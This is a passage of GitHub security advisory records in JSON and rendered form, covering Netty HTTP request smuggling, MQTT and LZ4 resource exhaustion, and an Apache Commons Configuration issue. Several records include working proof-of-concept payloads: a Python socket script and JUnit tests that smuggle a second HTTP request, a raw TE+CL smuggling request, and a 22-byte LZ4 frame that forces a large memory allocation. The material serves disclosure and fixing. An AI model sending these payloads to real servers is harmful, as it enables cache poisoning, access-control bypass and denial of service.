within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
GHSA-PVP8-3XJ6-8C6X
Vulnerability from github – Published: 2025-05-09 12:31 – Updated: 2025-05-09 15:54Uncontrolled Resource Consumption vulnerability in Apache Commons Configuration 1.x.
There are a number of issues in Apache Commons Configuration 1.x that allow excessive resource consumption when loading untrusted configurations or using unexpected usage patterns. The Apache Commons Configuration team does not intend to fix these issues in 1.x. Apache Commons Configuration 1.x is still safe to use in scenarios where you only load trusted configurations.
Users that load untrusted configurations or give attackers control over usage patterns are recommended to upgrade to the 2.x version line, which fixes these issues. Apache Commons Configuration 2.x is not a drop-in replacement, but as it uses a separate Maven groupId and Java package namespace they can be loaded side-by-side, making it possible to do a gradual migration.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "commons-configuration:commons-configuration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46392"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-09T15:54:59Z",
"nvd_published_at": "2025-05-09T10:15:17Z",
"severity": "LOW"
},
"details": "Uncontrolled Resource Consumption vulnerability in Apache Commons Configuration 1.x.\n\nThere are a number of issues in Apache Commons Configuration 1.x that allow excessive resource consumption when loading untrusted configurations or using unexpected usage patterns. The Apache Commons Configuration team does not intend to fix these issues in 1.x. Apache Commons Configuration 1.x is still safe to use in scenarios where you only load trusted configurations. \n\nUsers that load untrusted configurations or give attackers control over usage patterns are recommended to upgrade to the 2.x version line, which fixes these issues. Apache Commons Configuration 2.x is not a drop-in replacement, but as it uses a separate Maven groupId and Java package namespace they can be loaded side-by-side, making it possible to do a gradual migration.",
"id": "GHSA-pvp8-3xj6-8c6x",
"modified": "2025-05-09T15:54:59Z",
"published": "2025-05-09T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46392"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-configuration"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/y1pl0mn3opz6kwkm873zshjdxq3dwq5s"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29131"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29133"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Apache Commons Configuration Uncontrolled Resource Consumption"
}
GHSA-JFG9-48MV-9QGX
Vulnerability from github – Published: 2026-05-07 05:14 – Updated: 2026-05-14 20:41Impact
The MQTT 5 header Properties section is parsed and buffered before any message size limit is applied.
Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded.
Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion.
This can cause high resource usage in both CPU and memory.
Resources
ANT-2026-09608
https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-mqtt"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-mqtt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44248"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T05:14:14Z",
"nvd_published_at": "2026-05-13T19:17:27Z",
"severity": "MODERATE"
},
"details": "### Impact\nThe MQTT 5 header Properties section is parsed and buffered _before_ any message size limit is applied.\n\nSpecifically, in `MqttDecoder`, the `decodeVariableHeader()` method is called before the `bytesRemainingBeforeVariableHeader \u003e maxBytesInMessage` check. The `decodeVariableHeader()` can call other methods which will call `decodeProperties()`. Effectively, Netty does not apply any limits to the size of the properties being decoded.\n\nAdditionally, because `MqttDecoder` extends `ReplayingDecoder`, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion.\n\nThis can cause high resource usage in both CPU and memory.\n\n### Resources\n`ANT-2026-09608`\nhttps://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027",
"id": "GHSA-jfg9-48mv-9qgx",
"modified": "2026-05-14T20:41:33Z",
"published": "2026-05-07T05:14:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44248"
},
{
"type": "WEB",
"url": "https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901027"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty MQTT: Resource exhaustion in MqttDecoder"
}
GHSA-M4CV-J2PX-7723
Vulnerability from github – Published: 2026-05-07 00:13 – Updated: 2026-05-14 20:41Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42580"
],
"database_specific": {
"cwe_ids": [
"CWE-190",
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:13:05Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n \"100000004\\r\\n\" +\n \"test\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n HttpContent content = channel.readInbound();\n assertTrue(content.decoderResult().isSuccess());\n assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n content.release();\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-m4cv-j2px-7723",
"modified": "2026-05-14T20:41:01Z",
"published": "2026-05-07T00:13:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}
GHSA-XXQH-MFJM-7MV9
Vulnerability from github – Published: 2026-05-07 00:18 – Updated: 2026-05-14 20:41NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value |
|---|---|
| Library | io.netty:netty-codec-http |
| Component | codec-http — HttpObjectDecoder |
| Severity | HIGH |
| Affects | HEAD, commit 4f3533ae confirmed |
Summary
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
Root Cause
// HttpObjectDecoder.java:828-833
if (HttpUtil.isTransferEncodingChunked(message)) {
this.chunked = true;
if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) {
handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only
}
return State.READ_CHUNK_SIZE;
}
// HttpObjectDecoder.java:870-873
protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {
message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);
contentLength = Long.MIN_VALUE;
}
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP_1_1. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
Proof of Concept
POST /api HTTP/1.0\r\n
Host: internal.example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 0\r\n
\r\n
5\r\n
GPOST\r\n
0\r\n
\r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
Conditions Required
- Netty is deployed behind a reverse proxy or load balancer that is
Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). - Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).
- No additional HTTP/1.0 stripping layer between attacker and Netty.
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.util.CharsetUtil;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict
@Test
public void http10_contentLengthNotStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.0\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());
// Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request
assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped");
ch.finishAndReleaseAll();
}
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict
@Test
public void http11_contentLengthStripped() {
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());
ch.writeInbound(Unpooled.copiedBuffer(
"POST /api HTTP/1.1\r\n" +
"Transfer-Encoding: chunked\r\n" +
"Content-Length: 0\r\n" +
"\r\n" +
"5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII));
HttpRequest req = ch.readInbound();
assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped");
ch.finishAndReleaseAll();
}
}
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP_1_1 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42581"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:18:41Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "MODERATE"
},
"details": "# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization\n\n| Field | Value |\n|-----------|-------|\n| Library | `io.netty:netty-codec-http` |\n| Component | `codec-http` \u2014 `HttpObjectDecoder` |\n| Severity | **HIGH** |\n| Affects | HEAD, commit `4f3533ae` confirmed |\n\n---\n\n## Summary\n\n`HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling.\n\n---\n\n## Root Cause\n\n```java\n// HttpObjectDecoder.java:828-833\nif (HttpUtil.isTransferEncodingChunked(message)) {\n this.chunked = true;\n if (!contentLengthFields.isEmpty() \u0026\u0026 message.protocolVersion() == HttpVersion.HTTP_1_1) {\n handleTransferEncodingChunkedWithContentLength(message); // strips CL \u2014 HTTP/1.1 only\n }\n return State.READ_CHUNK_SIZE;\n}\n\n// HttpObjectDecoder.java:870-873\nprotected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) {\n message.headers().remove(HttpHeaderNames.CONTENT_LENGTH);\n contentLength = Long.MIN_VALUE;\n}\n```\n\nThe conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.\n\n---\n\n## Proof of Concept\n\n```\nPOST /api HTTP/1.0\\r\\n\nHost: internal.example.com\\r\\n\nTransfer-Encoding: chunked\\r\\n\nContent-Length: 0\\r\\n\n\\r\\n\n5\\r\\n\nGPOST\\r\\n\n0\\r\\n\n\\r\\n\n```\n\nNetty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n` as the start of a second request.\n\n---\n\n## Conditions Required\n\n1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`-first (nginx, some HAProxy configs, AWS ALB in certain modes).\n2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation).\n3. No additional HTTP/1.0 stripping layer between attacker and Netty.\n\n---\n\n## Impact\n\nRequest smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.\n\n---\n\n## Confirmed PoC Test\n\nVerified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.\n\n```java\npackage io.netty.handler.codec.http;\n\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.util.CharsetUtil;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\npublic class NettySmugglingSec001Test {\n\n // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict\n @Test\n public void http10_contentLengthNotStripped() {\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n ch.writeInbound(Unpooled.copiedBuffer(\n \"POST /api HTTP/1.0\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\" +\n \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n HttpRequest req = ch.readInbound();\n assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion());\n // Content-Length: 0 survives \u2014 downstream CL-first proxy treats chunked body as new request\n assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"VULNERABLE: CL not stripped\");\n ch.finishAndReleaseAll();\n }\n\n // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict\n @Test\n public void http11_contentLengthStripped() {\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder());\n ch.writeInbound(Unpooled.copiedBuffer(\n \"POST /api HTTP/1.1\\r\\n\" +\n \"Transfer-Encoding: chunked\\r\\n\" +\n \"Content-Length: 0\\r\\n\" +\n \"\\r\\n\" +\n \"5\\r\\nGPOST\\r\\n0\\r\\n\\r\\n\", CharsetUtil.US_ASCII));\n\n HttpRequest req = ch.readInbound();\n assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), \"SAFE: CL correctly stripped\");\n ch.finishAndReleaseAll();\n }\n}\n```\n\n---\n\n## Fix Guidance\n\nRemove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version.",
"id": "GHSA-xxqh-mfjm-7mv9",
"modified": "2026-05-14T20:41:05Z",
"published": "2026-05-07T00:18:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization"
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
